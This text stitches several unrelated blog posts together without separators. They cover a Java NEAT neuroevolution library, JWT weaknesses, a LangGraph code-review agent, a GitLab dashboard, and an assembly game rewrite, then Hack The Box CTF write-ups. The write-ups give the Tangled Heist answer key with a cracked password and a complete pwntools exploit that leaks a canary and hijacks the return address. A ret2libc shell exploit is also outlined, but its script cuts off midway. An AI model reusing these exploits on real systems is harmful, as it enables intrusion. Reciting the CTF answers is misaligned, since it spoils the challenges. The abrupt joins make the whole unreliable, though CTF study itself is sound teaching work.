Before we dive into the implementation, let me give a quick overview of what NEAT actually is.

NEAT stands for NeuroEvolution of Augmenting Topologies. It is an algorithm developed by Kenneth O. Stanley and Risto Miikkulainen in 2002 that evolves artificial neural networks using a genetic algorithm — not just the weights, but also the structure of the network itself.

Most neural network training approaches assume a fixed topology. You decide upfront how many layers there are, how many neurons per layer, and then you train the weights. NEAT throws that assumption out of the window. It starts with the simplest possible network and lets evolution figure out what structure works best.

The algorithm is built on three key ideas:

• Historical markings: Every structural change in the network is tagged with a unique innovation number. This allows two networks with different topologies to be compared and combined in a meaningful way during crossover.
• Speciation: Genomes are grouped into species based on how structurally similar they are. This protects new mutations from being wiped out before they have a chance to prove themselves.
• Complexification from minimal structure: Evolution starts with no hidden nodes and adds complexity only when it helps.

1. The building blocks

To make it easier to understand, let’s think of the network as a blueprint — a Genome. The genome does not describe how to run a computation. Instead, it describes the structure: which nodes exist, which connections exist, and what the weights are.

There are two types of genes inside a genome:

• Node genes — each one represents a neuron. It has a type (input, hidden, or output) and an activation function.
• Connection genes - each one represents a link between two neurons. It has a weight, a flag for whether it is enabled or disabled, and an innovation number.

public class Genome {
    private final Map<Integer, Node> nodes = new HashMap<>();
    private final Map<Integer, Connection> connections = new HashMap<>();
    ...
}

The genome is not a neural network itself. It is the genetic blueprint from which a neural network is decoded. This separation is important and will come up again later.

2. Innovation numbers — the key to crossover

This is one of the most elegant parts of NEAT.

When two genomes reproduce, they need to be combined. But if they have different structures — one has a hidden node, the other does not — how do you line them up?

The answer is the innovation number. Every time a new connection or node is added anywhere in the population, a global counter assigns it a unique number. If the same structural change happens in two different genomes, they get the same innovation number.

public class InnovationTracker {
    public static final InnovationTracker INSTANCE = new InnovationTracker();
    private int innovationNumber = 1;
    private final Map<String, Integer> connectionInnovations = new HashMap<>();

    public int getInnovationNumber(int inNode, int outNode) {
        String key = inNode + "->" + outNode;
        if (!connectionInnovations.containsKey(key)) {
            connectionInnovations.put(key, innovationNumber++);
        }
        return connectionInnovations.get(key);
    }
}

This is like a shared history log for the entire population. Because of this, crossover becomes straightforward: genes with matching innovation numbers are combined by randomly picking from either parent. Genes that only appear in one parent are inherited from the more fit parent.

public static Genome crossover(Genome parent1, Genome parent2, Random random) {
    Genome child = new Genome();
    Genome moreFitParent = parent1.getFitness() >= parent2.getFitness() ? parent1 : parent2;
    Genome lessFitParent = parent1.getFitness() >= parent2.getFitness() ? parent2 : parent1;

    for (Connection gene1 : moreFitParent.getConnections()) {
        Connection gene2 = lessFitParent.getConnection(gene1.getInnovationNumber());
        if (gene2 != null) {
            child.addConnection(random.nextBoolean() ? gene1.copy() : gene2.copy());
        } else {
            child.addConnection(gene1.copy());
        }
    }
    ...
}

3. Mutation

There are several types of mutation a genome can undergo:

• Weight mutation — the most common. A connection’s weight is either shifted slightly or replaced with a new random value.
• Add connection — a new link is added between two previously unconnected nodes.
• Add node — an existing connection is split in two by inserting a new hidden node in the middle. The old connection is disabled, and two new ones take its place.
• Toggle enable — a connection is randomly enabled or disabled.
• Change activation function — a node gets a new activation function.

The add-node mutation is particularly interesting. It does not just throw a random node into the network. It splits an existing connection cleanly:

private void mutateAddNode(Config config, Random random) {
    Connection oldConnection = ...; // pick a random enabled connection
    oldConnection.disable();

    int newNodeId = InnovationTracker.INSTANCE.getNewInnovationNumber();
    Node newNode = new Node();
    newNode.setType(NodeType.HIDDEN);
    newNode.setActivationFunction(ActivationFunction.TANH);
    // The incoming connection gets weight 1.0
    // The outgoing connection inherits the old weight
    ...
}

Setting the new incoming weight to 1.0 and preserving the old weight is intentional. This way the mutation has minimal immediate impact on the network’s behavior, giving it a chance to survive long enough to be refined by further evolution.

4. Speciation — protecting innovation

Imagine you just added a new hidden node to a genome. For the first few generations it might perform worse than the simpler genomes because the new node has random weights. Without protection, natural selection would just kill it off immediately.

NEAT solves this with speciation. Genomes are grouped into species based on a compatibility distance:

Where E is the number of excess genes, D is the number of disjoint genes, and W̄ is the average weight difference of matching genes. Genomes compete primarily within their own species, not against the entire population.

public double getCompatibilityDistance(Genome other, Config config) {
    int excessGenes = 0;
    int disjointGenes = 0;
    double weightDiff = 0;
    int matchingGenes = 0;
    // Walk both genomes in order of innovation number, counting differences...
    int N = Math.max(this.connections.size(), other.connections.size());
    if (N < 20) { N = 1; }
    return (config.getC1Excess() * excessGenes / N)
         + (config.getC2Disjoint() * disjointGenes / N)
         + (config.getC3Weights() * (matchingGenes > 0 ? weightDiff / matchingGenes : 0));
}

Each species also tracks its stagnation — how many generations it has gone without improving. If a species stagnates for too long, it gets removed to free up resources for more promising lineages.

5. From genome to network

Once evolution produces a good genome, it needs to actually run. This is where the genome is decoded into a NeuralNetwork.

The network builds a graph of Neuron objects connected by Synapse objects. For feed-forward networks, a topological sort (Kahn's algorithm) is used to determine the correct evaluation order.

public static NeuralNetwork create(Genome genome, Config config) {
    // Build neurons from node genes
    // Build synapses from enabled connection genes
    // Topologically sort for feed-forward evaluation
    ...
}

The topological sort also acts as a cycle detector. If the sort cannot process all neurons, it means a cycle exists — which would be invalid in a strictly feed-forward network.

Recurrent networks are also supported. In that mode, each activation step uses the output values from the previous step, which allows the network to maintain a form of memory.

6. Putting it all together — the XOR demo

The classic way to verify a NEAT implementation is the XOR problem. XOR cannot be solved by a linear model — it requires at least one hidden node. This makes it a perfect test case for an algorithm that starts with no hidden nodes and grows them through mutation.

Config config = Config.builder()
        .populationSize(150)
        .inputNodeNumber(2)
        .outputNodeNumber(1)
        .startWithFullyConnectedTopology(false)
        .startActivationFunction(ActivationFunction.SIGMOID)
        .build();

Population population = new Population(config, new Random());

Genome best = population.evolvePopulation(3.9, genome -> {
    double[][] inputs = {{0, 0}, {0, 1}, {1, 0}, {1, 1}};
    double[][] outputs = {{0}, {1}, {1}, {0}};
    NeuralNetwork network = NeuralNetwork.create(genome, config);
    double error = 0.0;
    for (int i = 0; i < inputs.length; i++) {
        double[] out = network.activate(inputs[i]);
        error += Math.pow(outputs[i][0] - out[0], 2);
    }
    return 4.0 - error; // Max fitness is 4.0
});

The fitness function measures how far the network’s outputs are from the expected values. A perfect XOR solver scores exactly 4.0 (zero error across all four cases). The evolution runs until a genome reaches that threshold.

After training, the best network’s topology is exported to an SVG file using the built-in visualizer, which supports both layered and force-directed layouts.

7. What is next?

The current implementation covers the core of what the original paper describes. The roadmap includes:

• Classic benchmarks: single-pole and double-pole balancing
• Parallel evaluation using Java’s virtual threads
• Checkpointing and persistence of runs
• More visualization hooks (fitness curves, species size over time)
• A snake game environment where two evolved networks compete against each other — inputs like the direction of food and the position of the opponent snake, outputs for all four movement directions. No walls, just two AIs trying to outlast each other. A fun way to watch co-evolution in action across generations

The full source code is available on GitHub at github.com/sigee/Neat. It is a Java 17 project built with Gradle. Contributions and feedback are welcome, especially around verifying behavior against the original paper’s experiments.

Refferences

“Evolving Neural Networks through
Augmenting Topologies” by Kenneth O. Stanley and Risto Miikkulainen
https://nn.cs.utexas.edu/downloads/papers/stanley.ec02.pdf

“NEAT-Python”
https://neat-python.readthedocs.io/en/latest/

Encoding vs. Encryption

Before diving into JWTs, it is crucial to understand the difference between encoding and encryption, as they are often confused.

Encoding: This is simply transforming data into a different format so it can be easily consumed by different systems. If you know the formula, you can easily decode it. Similar than a foreign language. It is not for security.

Encryption: This is specifically designed for secrecy. It requires a key to lock and unlock the information; without that key, you cannot retrieve the original message.

JWT primarily uses encoding (called Base64) for its content, which means anything you put inside it is visible to everyone.

How Base64 encoding works?

Ever wonder where the name Base64 actually comes from? It’s all about the math of bits. While standard characters (like those in an ASCII table) are typically stored in 8-bit formats, Base64 is a 6-bit form. Since 2^6
equals 64, the system uses a set of 64 specific characters to represent any data you feed it.

The process works like this:

1. Bit Stringing: The system takes the 8-bit codes of your original data and writes them out in one long sequence (binary).

2. Re-slicing: That sequence is then broken back down into 6-bit chunks.

3. Mapping: Each 6-bit chunk (which represents a value from 0 to 63) is matched to a character in the Base64 standard table — consisting of uppercase and lowercase English letters, numbers, and a couple of special characters.

Spotting the “Padding”

If you’ve ever seen a string ending in one or two equal signs (=), you’re likely looking at Base64. This is called padding. It occurs when the original data doesn't fit perfectly into the 6-bit blocks; the system uses the = sign to fill in the remaining space and complete the block.

What is a JWT?

It is a standard way to securely transmit information between parties as a JSON object. They are popular because they are:

• Compact: They can be sent via URLs, HTTP headers, or POST bodies.
• Self-contained: They carry all the necessary information about a user, so the server doesn’t need to query a database every time.
• Stateless: They don’t rely on server-side sessions, making them great for scaling.

A JWT consists of three parts separated by dots (.) character:

• Header: Defines the token type and the signing algorithm (e.g., HS256).
• Body (Payload): Contains the “claims” or data, such as the user ID, permissions, and expiration time.
• Signature: Used to verify that the sender is who they say they are and that the message wasn’t tampered with.

Breaking a JWT

To understand how to use JWTs correctly, let’s look at how they can be broken.

The “Plain Text” Mistake

In our first scenario, a developer put a password in plain text inside the JWT body. Because the body is just Base64 encoded, anyone can go to a site like jwt.io, paste the token, and read the password instantly. Lesson: Never put sensitive data in a JWT body.

If you need to store sensitive data in your token, you should look into JWE (JSON Web Encryption)

The Identity Swap

If a server doesn’t validate the signature, a user can decode their token, change their username from “user” to “admin”, and re-encode it. Without signature verification, the server will simply trust the new identity.

The “None” Algorithm Attack

This is a classic exploit where a hacker changes the algorithm in the header to “none”. They then delete the signature part of the token. If the backend library is poorly configured, it might see the “none” algorithm and accept the modified token without checking any signature at all.

Conclusion

• Always verify signatures on the backend.
  • Use short expiration times to limit the impact of leaked tokens.
  • Never trust the header blindly; enforce specific algorithms in your code.

References

• https://en.wikipedia.org/w/index.php?title=Base64
• https://www.jwt.io/
• https://tryhackme.com/room/jwtsecurity

In this article, I’ll walk through the idea, the architecture, and the core features of the agent. This isn’t a “replace humans” story — it’s about augmenting the review process with an LLM-driven workflow that’s structured, repeatable, and surprisingly practical.

The Problem

Typical code reviews often suffer from a few recurring issues:

• Reviewers lack full context about why a change exists
• User stories live in an issue tracker, code lives in Git, and context gets lost in between
• Reviews are inconsistent depending on time, mood, or workload
• There’s rarely a durable, structured artifact of the review itself

I wanted a system that:

• Always starts from the merge request (MR)
• Automatically pulls the related user story
• Reviews code in context, not in isolation
• Stores the result in a clean, readable format

That’s where LangGraph turned out to be a great fit.

Why LangGraph?

LangGraph shines when you want to model an LLM-powered system as a graph of well-defined steps instead of a single prompt spaghetti monster.

For this use case, I needed:

• Deterministic flow
• Conditional transitions (“did we find a related user story?”)
• Clear separation of responsibilities
• The ability to evolve the workflow over time

A graph-based agent felt like the natural choice.

High-Level Flow

At a high level, the agent follows this flow:

1. Collect detailed information about the merge request
2. Identify and fetch the related user story
3. Perform the code review using the LLM
4. Store the review as a Markdown file

Here’s the visual flow of the agent:

Each node in the graph has a single responsibility, which makes the whole system easier to reason about and debug.

Step 1: Collecting Merge Request Information

Everything starts with the merge request.

The agent gathers:

• Title and description
• Changed files and diffs
• Commit messages
• Source and target branches

This step is pure data collection and normalization, ensuring later steps get clean, structured input instead of raw API noise.

An important side effect here is that the agent can also extract potential references to a user story. (for example from the branch name or MR description).

Step 2: Fetching the Related User Story

If a ticket ID is found, the graph transitions to the next node: fetching the user story.

From the issue tracker, the agent pulls:

• Summary and description
• Acceptance criteria
• Relevant comments or clarifications

This context is crucial. Reviewing code without knowing the intended behavior is how you end up with perfectly clean code that solves the wrong problem.

If no ticket is found, the graph can still proceed — but with reduced context. That decision is explicit and visible in the workflow.

Step 3: LLM-Powered Code Review

This is where the LLM finally steps in.

The prompt is built from:

• Merge request details
• Code diffs
• User story context (if available)

Instead of asking vague questions like “Is this code good?”, the agent guides the model to focus on:

• Alignment with the user story
• Potential bugs or edge cases
• Readability and maintainability
• Obvious performance or security concerns

Because the earlier steps are deterministic, the LLM gets a consistent, high-quality context, which massively improves the quality of the output.

Step 4: Storing the Review as Markdown

The final output of the agent is a Markdown file.

Why Markdown?

• Human-readable
• Works everywhere (Git, wikis, artifacts)

A typical review file contains:

• Merge request metadata
• Linked issue ticket
• Summary of findings
• Inline comments or sections per file
• Actionable suggestions

This turns the review into a durable artifact instead of something that disappears into a comment thread.

What This Enables

With this agent in place, a few interesting things become possible:

• Automated pre-reviews before a human even looks at the MR
• Consistent review standards across teams
• Easy auditing of review decisions
• Future extensions (security-only reviews, performance-focused passes, etc.)

And because it’s built as a graph, adding new nodes is straightforward — for example, a test coverage check or a static analysis step.

Final Thoughts

This project reinforced something I keep rediscovering: LLMs are most powerful when they’re constrained.

LangGraph provided the structure, the APIs provided the facts, and the LLM did what it does best — reasoning over context and expressing insights.

If you’re thinking about building an agent that’s more than just a clever prompt, I highly recommend looking at graph-based approaches. They force you to be explicit, and your future self will thank you.

If you’ve worked on any moderately sized development team, you know the frustration. Merge requests pile up in GitLab. Some sit there for weeks, gathering dust. Others are blocked by conflicts nobody noticed. Pipelines fail silently. The review queue becomes a black hole where good intentions go to die.

The standard GitLab interface shows you individual merge requests just fine. But it doesn’t show you the forest. You can’t see patterns. You can’t spot bottlenecks. You can’t quickly answer questions like “How many MRs have been stale for over 100 days?” or “Which ones are blocked by conflicts right now?”

So I built MR-Monitor to solve exactly this problem.

What it does

MR-Monitor is a real-time dashboard that transforms your GitLab merge request data into something actually useful. It gives you three main views:

Status Distribution (Pie Chart)
An interactive breakdown showing where your merge requests stand: mergeable and ready, blocked by conflicts, aging past 30 days, aging past 100 days, or stuck with failing pipelines. One glance tells you where the bottlenecks are.

Activity Timeline (Line Chart)
This tracks when MRs were last updated. Are reviews clustering on certain days? Is there a pattern to when things get stale? The timeline surfaces these trends so you can actually do something about them.

Intelligent Filtering
Tab-based navigation lets you drill down. Want to see everything that’s been stale for 100+ days? Click. Want to focus on conflict-blocked MRs? Click. The filtering makes it trivial to prioritize what needs attention right now.

The technical implementation

I wanted to build something that was both powerful and practical, so I chose my stack carefully:

GraphQL for Data Fetching

Rather than wrestling with REST endpoints and getting back mountains of data I didn’t need, I used GitLab’s GraphQL API. This let me write precise queries that fetch exactly the merge request data I need — nothing more, nothing less. The result is faster, more efficient, and cleaner to work with.

Vue.js Framework

Vue’s reactive data binding made it natural to build a responsive, dynamic interface. When the data updates, the entire dashboard re-renders seamlessly. No manual DOM manipulation, no jQuery spaghetti. Just clean, declarative components that do what they’re supposed to do.

Bootstrap for UI

I used Bootstrap because it’s battle-tested and gets me 90% of the way there without fighting CSS for hours. The result is an interface that looks professional and works consistently across different screen sizes.

Chart.js for Visualizations

Chart.js hit the sweet spot between power and simplicity. The library made it straightforward to create interactive pie and line charts that aren’t just pretty — they’re functional. Hover states, legends, clear data representation. It does what I need without the complexity of D3.

Why I built this

The honest answer? I was frustrated. I kept losing track of merge requests. Important reviews would sit for weeks because nobody realized they needed attention. Conflicts would block progress until someone manually noticed. The information was all there in GitLab, but it wasn’t accessible in a way that helped me actually manage the queue.

So I built the tool I wanted to use.

The process of building MR-Monitor taught me more than I expected. Integrating with GitLab’s GraphQL API meant understanding their data model deeply. Making the visualizations useful required thinking about what information developers actually need to make decisions. And keeping the application performant meant being smart about data fetching and rendering.

What makes it work

The key insight behind MR-Monitor is that developers don’t need more data — they need the right data, presented in a way that drives action.

Instead of showing you a long list of merge requests, it shows you the distribution of problems. Instead of making you hunt for aged MRs, it surfaces them immediately. Instead of requiring you to memorize which requests have conflicts, it puts them in a dedicated tab.

It’s not about adding features. It’s about solving the actual problem.

The impact

Teams using MR-Monitor can:

• Spot aged merge requests before they become technical debt
• Identify conflict-blocked MRs that need rebasing
• Recognize patterns in their review workflow
• Prioritize which MRs need immediate attention

The activity timeline has been particularly valuable. It reveals when teams are most active in updating merge requests, helping managers identify capacity issues before they become critical problems.

Looking ahead

I’m continuing to iterate on MR-Monitor. There are features I want to add — better filtering options, team-specific views, integration with Slack for notifications. But the core principle remains the same: take complex data and make it actionable.

This project represents how I approach development in general. I don’t just write code — I solve problems. I identify what’s broken, figure out what information would actually help, and build something that works. MR-Monitor isn’t the fanciest dashboard you’ll ever see, but it gets the job done. And sometimes, that’s exactly what you need.

I created a game called Lufi vadász (Balloon Hunter) while studying programming in school around 2005. The game was made in Turbo Pascal, using graphics. Yes, it means EgaVga.BGI.

The game used a 640x480 resolution with 16 colors, which was not that bad at that time. The graphic elements I used were very basic. I just used ellipses as balloons and separated part of the screen for the actual information about the game.

• Csúcstartók (Toppers)
• Pontok (score)
• Info about how many balloons can fall down (because, for some reason, I decided to make the balloons fall, not fly away)
• How much ammo is left
• Which color means how many points
• And of course, the author's name and the version number

I want to mention that fact, I used the mouse as the input device, which was not trivial in Turbo Pascal.

Why do I want to review it?

Well, I have multiple reasons why I want to review it. The main reason is that I want to learn assembly language a bit deeper to be more effective in Reverse Engineering and/or PWN challenges in CTFs.

The other reason is that when I wrote the original game in Turbo Pascal, it was so slow, I couldn’t add any delay in the code, because it was running a normal speed. So basically, I could not make the game harder by speeding up the balloons.

I am not totally sure why it was so slow. Maybe the drawing was not optimized enough, too many elements to draw in every game loop iteration. Or the Turbo Pascal graphics with EgaVgi.BGI is slow by default.

So I wanted to optimize the game and potentially add difficulty options for a while, but I didn’t feel any real pressure.

How did I start?

I knew a bit of assembly because I learned it around 2005, but never really wrote a real program in it. I also did a lot of Reverse Engineering and PWN challenges in CTFs, but always the easy ones.

So my first step was to gain useful knowledge of how I can write a whole application in assembly, not just parts of it (understanding small functions or calling system commands), like in RE or PWN.

I looked for different up-to-date tutorials/video courses covering the missing pieces. I get a bit familiar with different assemblers, like TASM, NASM. They have their own syntax. I finally decided to use NASM, because it was the best for me.

While learning it, I met different topics from simple programming in DOS (16-bit assembly) or in Linux (32/64 bit), Operating System development (from 16-bit by switching to 32/64 bit)

The most interesting thing was that I realized I knew so little about the low-level stuff of programming, even though I have been working as a software engineer for almost 2 decades.

What kept me interested?

As I knew earlier, assembly is the closest language to a computer. You can write really small and good-performing applications. You can easily write OS boot loaders with it.

I found some kind of challenges where people create really small programs that fit in a boot sector, but do complex tasks (whole games, like pong, pacman, space invaders, in a graphics mode)

So I tried to get as much knowledge in this area as it was possible and started to make the basics of my game rewrite.

What are my plans?

I haven’t done my rewrite yet, but I want to do more iterations.

First, I want a simple rewrite that looks like the original, works like the original.

Second, I fell in love with the concept of boot loader games, so I decided to create one from my game.

What is a boot loader game?

As I mentioned previously, you can write OS boot loaders in assembly. It means the whole code has to fit into the boot sector.

What is a boot sector? Well, it is the first sector of the disk. The sectors are 512 bytes. To make it bootable, you have to mark it with a magic number at the end, which is 0xAA55.

So you have only 510 bytes to write your entire application. To make it a bit more visible how small it is, here is an image of a floppy disk from the middle of the 80s. The floppy disk was 1.44 Megabytes. This disk was double-sided. Each side had 80 tracks, and the tracks were separated into 18 sectors. You can see how small these sectors are, especially these days when we count GBs, not MB, kB, or even bytes.

How am I now?

I started my first iteration by collecting everything I needed.

• Switch to graphics mode (It means something like VESA [Video Electronics Standards Association])
• Draw on the screen (write video memory)
• Mouse handling

While I was collecting the needed information for switching graphics mode, I had multiple issues. I can’t really decide what mode I should use. The most common example I saw was used 320x200 resolution with 256 colors. It is easy because in a 16-bit (DOS) mode, you can address the whole screen. 16-bit means you can use 16-bit registers, store 16-bit information in them.

16 bit = 2¹⁶ = 65536.

320x200 = 64000

So every pixel can be addressed.

My original game was using 640x480, which I wanted to keep, but it can’t be addressed with a 16-bit register, so I have to do so-called banking to address the first 1/5 of the screen, then step to the next bank, and so on.

So when I want to draw a pixel in an XY coordinate, I have to calculate which bank I should use and what the offset is in that bank.

This can be slow if I want to draw the whole screen pixel by pixel, so I need to do some tricks. E.g., calculate the top-left corner’s position only once and write the first line of the graphic into the video memory. Add 1 line minus the graphic width to go to the next line, and write that line also. Repeat this until the whole graphic is displayed, and switch banks only when reaching the end of the previous one. With this trick, we can avoid lots of calculations, so we can draw faster.

I started to mix it with mouse handling, cursor drawing, etc. Unfortunately, the chosen mode (0x101–640x480 with 256 colors) did not support the mouse well, so I switched back to an older 0x12 mode, which is the same as the original solution (640x480 with 16 colors). And supports the mouse well. The only strange behaviour is that the pixels are 4 bits, instead of the usual 8. So the paging is a bit different.

I could create a black screen with the mouse cursor, but the drawing is still a work in progress.

The code

; main.asm

bits 16
org 0x100

section .text

start:
    pusha
    xor ax, ax
    xor bx, bx
    xor cx, cx
    xor dx, dx
    mov bp, sp

    call initVesaVGAMode
    call initMouse

    ; Wait for key
    mov ah, 0
    int 0x16

    ; Set text mode back
    mov ax, 0x3
    int 0x10

    popa
    ret


%include "vesa.inc"
%include "mouse.inc"

section .data

section .bss

; vesa.inc

;-----------------------------------------------------------------------------
;| Procedure: initVesaVGAMode                                                |
;-----------------------------------------------------------------------------
initVesaVGAMode:
    pusha
    mov ax, 0x12
    int 0x10
    popa
    ret

; mouse.inc

;-----------------------------------------------------------------------------
;| Procedure: initMouse                                                      |
;-----------------------------------------------------------------------------
initMouse:
    pusha
    ; First check if mouse is available
    mov ax, 0x0         ; INT 33h, AH=0: Mouse reset/detection
    int 0x33
    cmp ax, 0           ; If AX=0, mouse not found or driver not installed
    je no_mouse

    ; Show mouse cursor
    mov ax, 0x1         ; INT 33h, AH=1: Show mouse cursor
    int 0x33

    ; Set custom mouse cursor
    mov ax, 0x9         ; INT 33h, AH=9: Define graphics cursor
    mov bx, [hotX]      ; BX = Hot spot X coordinate (cursor point)
    mov cx, [hotY]      ; CX = Hot spot Y coordinate
    mov dx, ScreenMask  ; DX = Segment:offset of AND mask
    mov si, CursorMask  ; SI = Segment:offset of XOR mask
    int 0x33
    popa
    ret

no_mouse:
    ; Display error message if no mouse
    mov ah, 0x09        ; INT 21h, AH=9: Display string
    mov dx, no_mouse_msg
    int 0x21
    
    ; Exit program
    mov ax, 0x4C00
    int 0x21


;-----------------------------------------------------------------------------

; Custom mouse cursor definition (16x16 pixels)
ScreenMask:
    dw 0xF01F, 0xE00F, 0xC007, 0x8003, 0x0441, 0x0C61, 0x0381, 0x0381
    dw 0x0381, 0x0C61, 0x0441, 0x8003, 0xC007, 0xE00F, 0xF01F, 0xFFFF

CursorMask:
    dw 0x0000, 0x07C0, 0x0920, 0x1110, 0x2108, 0x4004, 0x4004, 0x783C
    dw 0x4004, 0x4004, 0x2108, 0x1110, 0x0920, 0x07C0, 0x0000, 0x0000

hotX: dw 0x0007

hotY: dw 0x0007

no_mouse_msg: db 'No mouse detected or driver not installed!$'

This seems so small and easy, but this is just the beginning. So, stay tuned, and there will be more soon.

To Be Continued…

References

• https://en.wikipedia.org/wiki/VESA_BIOS_Extensions
• https://www.youtube.com/watch?v=1UzTf0Qo37A
• https://www.youtube.com/watch?v=mYPzJlqQ3XI
• https://www.youtube.com/watch?v=TVvTDjMph1M

Difficulty: Easy

Assets

capture.pcap

Description

The survivors’ group has meticulously planned the mission ‘Tangled Heist’ for months. In the desolate wasteland, what appears to be an abandoned facility is, in reality, the headquarters of a rebel faction. This faction guards valuable data that could be useful in reaching the vault. Kaila, acting as an undercover agent, successfully infiltrates the facility using a rebel faction member’s account and gains access to a critical asset containing invaluable information. This data holds the key to both understanding the rebel faction’s organization and advancing the survivors’ mission to reach the vault. Can you help her with this task?

Enumeration

The provided file contains network traffic from different protocols, more specifically:

• LDAP traffic of a Windows Active Directory environment (port 389)
• KRB5 (port 88)

Tasks

[1/11] Which is the username of the compromised user used to conduct the attack? (for example: username)

Answer: Copper

[2/11] What is the Distinguished Name (DN) of the Domain Controller? Don’t put spaces between commas. (for example: CN=…,CN=…,DC=…,DC=…)

Answer: CN=SRV195,OU=Domain Controllers,DC=rebcorp,DC=htb

[3/11] Which is the Domain managed by the Domain Controller? (for example: corp.domain)

Answer: rebcorp.htb

[4/11] How many failed login attempts are recorded on the user account named ‘Ranger’? (for example: 6)

Answer: 14

[5/11] Which LDAP query was executed to find all groups? (for example: (object=value))

Answer: (objectClass=group)

[6/11] How many non-standard groups exist? (for example: 1)

Answer: 5

[7/11] One of the non-standard users is flagged as ‘disabled’, which is it? (for example: username)

https://www.techjutsu.ca/uac-decoder

Answer: Radiation

[8/11] The attacker targeted one user writing some data inside a specific field. Which is the field name? (for example: field_name)

Answer: wWWHomePage

[9/11] Which is the new value written in it? (for example: value123)

Answer: http://rebcorp.htb/qPvAdQ.php

[10/11] The attacker created a new user for persistence. Which is the username and the assigned group? Don’t put spaces in the answer (for example: username,group)

Answer: B4ck,Enclave

[11/11] The attacker obtained an hash for the user ‘Hurricane’ that has the UF_DONT_REQUIRE_PREAUTH flag set. Which is the correspondent plaintext for that hash? (for example: plaintext_password)

Answer: april18

Skills Learned

• Network analysis
• Analyzing LDAP protocol
• Analyzing KRB5 protocol
• Analyzing Active Directory structure
• Extracting relevant data

HTB: Business CTF 2024 — Tangled Heist was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Difficulty: Easy

Description

On the quest to reclaim the Dragon’s Heart, the wicked Lord Malakar has cursed the villagers, turning them into ducks! Join Sir Alaric in finding a way to defeat them without causing harm. Quack Quack, it’s time to face the Duck!

Protection (checksec)

$ checksec
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./glibc/'

Disassembly (ghidra)

In this function, there is a read where we should put “Quack Quack “ somewhere to bypass the first check. Because of strstr(), it does not matter where.

In the next section, the printf() will print the string after the “Quack Quack “ by shifting 30 bytes. If we place it in the right position, it will print out the stack canary.

Finally, we can read another text that can override the whole stack, the canary, the base pointer, and even the return address.

As we have a win function called duck_attack(), we can put its address to the place of return address.

Exploitation

• Write the right amount of garbage (89 bytes of ‘A’) followed by the ‘Quack Quack ‘
• Read the value of the canary
• Write the right amount of garbage (88 bytes of ‘B’) followed by the canary followed by some garbage (8 bytes of ‘C’) followed by the address of duck_attack()

Solution (pwntools)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated by Sigee via:
# $ pwn template --template template.mako --host 10.10.10.10 --port 1337 ./quack_quack
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './quack_quack')

context(terminal=['tmux', 'split-window', '-h'])

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '10.10.10.10'
port = int(args.PORT or 1337)


def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)


def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.REMOTE:
        return start_remote(argv, *a, **kw)
    else:
        return start_local(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
init-gef
b *main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)
# RUNPATH:  b'./glibc/'

io = start()

io.recvuntil(b'Quack Quack ')
io.clean()

first_offset = 89
io.sendline(b'A' * first_offset + b'Quack Quack ')

io.recvuntil(b'Quack Quack ')
canary_leek = u64(io.recv(7).rjust(8, b"\x00"))
info(f'{hex(canary_leek)=}')

duck_attack_address = exe.symbols.get('duck_attack')

io.recv()
second_offset = 88
io.sendline(b'B' * second_offset + p64(canary_leek) + b'C' * 8 + p64(duck_attack_address))

io.recvuntil(b'against a Duck?!\n\n')
warning('Flag: ' + io.recv().decode('utf-8'))

io.interactive()

Skills Learned

• leaking information (canary)
• buffer overflow
• ret2win
• bypass canary

HTB: Cyber Apocalypse 2025 — Quack Quack was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Difficulty: Easy

Description

Embark on a journey through this expansive reality, where survival hinges on battling foes. In your quest, a loyal companion is essential. Dogs, mutated and implanted with chips, become your customizable allies. Tailor your pet’s demeanor — whether happy, angry, sad, or funny — to enhance your bond on this perilous adventure.

Protection (checksec)

$ checksec
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./glibc/'

Disassembly (ghidra)

We can notice in the read method that we read 256 data, but the buffer is 64 bytes long.

Exploitation

• Overflows the buffer (64 bytes + 8 bytes for saved RBP)
• Uses Return-Oriented Programming (ROP) to call write with the address of read or write function from libc
• Calculate libc base address
• Call system(‘/bin/sh’)

Solution (pwntools)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF(args.EXE or './pet_companion')

context.log_level = "INFO"
context(terminal=['tmux', 'split-window', '-h'])

host = args.HOST or '83.136.254.189'
port = int(args.PORT or 49069)


def start_local(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)


def start_remote(argv=[], *a, **kw):
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    if args.REMOTE:
        return start_remote(argv, *a, **kw)
    else:
        return start_local(argv, *a, **kw)

gdbscript = '''
init-gef
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
#    Arch:       amd64-64-little
#    RELRO:      Full RELRO
#    Stack:      No canary found
#    NX:         NX enabled
#    PIE:        No PIE (0x400000)
#    RUNPATH:    b'./glibc/'
#    Stripped:   No

io = start()

rop = ROP(exe)
